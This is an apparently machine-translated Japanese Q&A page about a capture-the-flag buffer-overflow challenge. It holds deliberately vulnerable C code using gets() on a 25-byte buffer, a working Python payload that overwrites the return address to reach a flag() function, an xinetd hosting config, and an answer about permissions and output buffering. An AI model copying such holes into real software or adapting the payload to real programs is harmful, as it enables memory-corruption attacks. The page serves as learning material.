web-dev-qa-db-ja.com

バッファオーバーフローはローカルでは機能するがリモートでは機能しない

そこで、単純なバッファオーバーフローチャレンジを行い、それをdigitalocean液滴でホストしようとしました。チャレンジソースは以下にあり、gcc welcome.c -fno-stack-protector -no-pie -o welcomeを使用してコンパイルされています。

#include <unistd.h>
#include <stdio.h>

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    char name[25];
    printf("whats your name? ");
    gets(name);
    printf("welcome to pwn, %s!\n", name);
    return 0;
}

void flag() {
    char flag[50];
    FILE* stream = fopen("flag.txt", "r");
    fgets(flag, 50, stream);
    printf("%s", flag);
}

チャレンジが実行されているDockerでローカルに、私はこのエクスプロイトを使用することができます:

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | ./welcome # Works This Way!
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
flag{g3t5_m3_3v3ry_t1m3}
Segmentation fault (core dumped)

このxinetdファイルを使用して、ネットワーク経由で使用できるようにします。

service welcome
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = ctf
    type        = UNLISTED
    port        = 1337
    bind        = 0.0.0.0
    server      = /home/ctf/run.sh
    # safety options
    per_source  = 10 # the maximum instances of this service per source IP address
    rlimit_cpu  = 20 # the maximum number of CPU seconds that the service may use
    rlimit_as  = 512M # the Address Space resource limit for the service
}

Netcat接続を介してそれを使用しようとしても、機能しません。

root@d8e27ba55693:/home/ctf# python -c "print 'A' * 40 + '\xfc\x06\x40\x00\x00\x00\x00\x00' + '\xae\x06\x40\x00\x00\x00\x00\x00'" | nc localhost 1337 # Hmmmm...
whats your name? welcome to pwn, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�@!
/home/ctf/run.sh: line 3:   339 Segmentation fault      (core dumped) /home/ctf/welcome

チャレンジをホストするために使用しているすべてのファイルは here で見つかります。ヘルプやその他のヒントをいただければ幸いです。私はこれについて混乱している日の大部分を費やしました。

おまけの質問、なぜリモートサーバーでの完了後、ユーザーがEnterキーを押すまでバイナリがハングするのですか?多分私のsetvbufは間違っていますか?誰かがこれを説明できればそれは素晴らしいことです!私はこれにかなり新しいです。

2
Michael Hoefler

[〜#〜] edit [〜#〜]:xinetd設定ファイルに_user = ctf_という行が含まれています。これは、プログラムがユーザーとして実行されることを意味しますctfネットワーク経由で呼び出された場合、バッファのオーバーフロー後にfopen()を試行する_flag.txt_ファイルへの読み取りアクセス権がない(おそらく?)したがって、「flag {g3t5_m3_3v3ry_t1m3}」は印刷されません。

これは、返されたポインタstreamがNULLかどうかを確認することで確認できます。特に、外部リソースを処理するライブラリーを扱う場合は、常に戻り値を確認する必要があることを(これもまた)証明したいと思います。

とりあえず参考までに、以下の元の回答/推測はそのままにしておきます。


そのバッファはどちらの場合も同じようにオーバーフローしますが、この特定のサンプルプログラムがその証拠を表示するかどうかは、出力バッファがflushedになるタイミングによって異なります。

プログラムが端末に出力しているとき、出力は行バッファリングされます。つまり、改行文字が出力されるたびにフラッシュされます。

対照的に、xinetdを介してプログラムにアクセスすると、出力はプログラムからxinetdにunixパイプ(シェルコマンドの場合は_|_として表される)を介してリダイレクトされ、ターミナルではなく、デフォルトではunixパイプです。その出力ブロックはバッファリングされています。つまり、バッファがいっぱいになるか、プログラムが終了した場合にのみ、出力をフラッシュします。ただし、その終了がsegfaultである場合、プログラムの出力バッファーは破棄されます。パイプの反対側のxinetdは何も受け取りません。

これを回避するには、flag関数の最後にfflush(stdout);を追加します。これにより、バッファがすぐにフラッシュされます。

関連する質問のこの answer 、および setbuf および fflush 関数のマニュアルページも参照してください。


ユーザーのJoseph Sible-Reinstate Monicaの功績を称え、私の元の理論の改善と重大な不整合に気付いた。

2
Will